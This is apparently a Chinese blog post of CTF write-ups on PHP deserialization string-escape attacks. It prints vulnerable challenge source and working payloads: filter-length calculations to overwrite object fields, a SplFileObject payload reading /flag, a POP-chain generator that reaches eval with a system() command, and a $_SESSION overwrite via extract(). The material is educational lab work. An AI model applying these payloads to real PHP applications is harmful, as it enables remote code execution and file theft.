反序列化之字符串逃逸数学题-刷题

反序列化之字符串逃逸(数学题)

一 more

原理:

一句话:手长莫及

通常题目有个简单的过滤器(尤其是替换型的),它会替换一些字符串,而造成变量覆盖

http://XXX/class16/1.php莫橙科技例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}

pass变量不可控,尝试覆盖,$param时会触发反序列化代码,so

<?php

error_reporting(0);

function filter($name){

  $safe=array("flag","php");

  $name=str_replace($safe,"hack",$name);

  return $name;

}

class test{

  var $user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';

  var $pass='escaping';

}

$param=serialize(new test($param));

echo $param;

echo filter($param);


?>
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}
O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"escaping";}

数学题:php->hack吞一个字符";s:4:"pass";s:8:"escaping";}共29个字符故29个php,吞二十九个覆盖变量名,

O:4:"test":2:{s:4:"user";s:87:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

大括号后加啥都行

例题:

prize-p5

源码有点长:

<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

但是一旦有一个filter过滤器就很明白了,这个过滤器会替换一些字符:后面一些内容是干扰项,在php中我们有一些内置的类进行操作

随payload:?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}我们是可以通过不设置name等其他的绕过干扰项来绕过正则的

[UUCTF 2022 新生赛]ezpop

pop链+字符串逃逸

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{//此步仅为检查
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{//3
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{//2
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{//目标4
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];//1
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

抓首尾,遂构造payload:

<?php
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;  // 1 youwant
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;  // 2 output
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;  // 注入点
    function rce(){
        eval($this->cmd);
    }
}

$a = new youwant();
$a->cmd = 'system("ls ../../../../../../../");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));

echo strlen($basedata);
echo "\n";

$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
  $hacker=$hacker.'hacker';

}
echo $hacker.$post;

遂只要计算命令吐出的长度,就可一覆盖变量名,实行字符串逃逸

[安洵杯 2019]easy_serialize_php

前置知识

extract()函数和get&post上传的个人见解_extract函数的用法-CSDN博客

字符逃逸+变量覆盖

这题刚看上去是有一点不到的

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先没有所谓的post传值反序列化,只有extract($_POST),根据我们的前置知识,有可以通过,extract进行变量覆盖而达到字符串的逃逸,所以容易知:

f=image_info

首先访问phpinfo传参?f=php_info获取到值d0g3_f1ag.php

function=show_image&_SESSION[user]=phpflagflagflagflagflag&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"1";}

这里还有个base64_encode命令执行时注意base64加密

最后获得结果。。。

posted @ 2025-07-03 17:39  swordreforge  阅读(30)  评论(0)    收藏  举报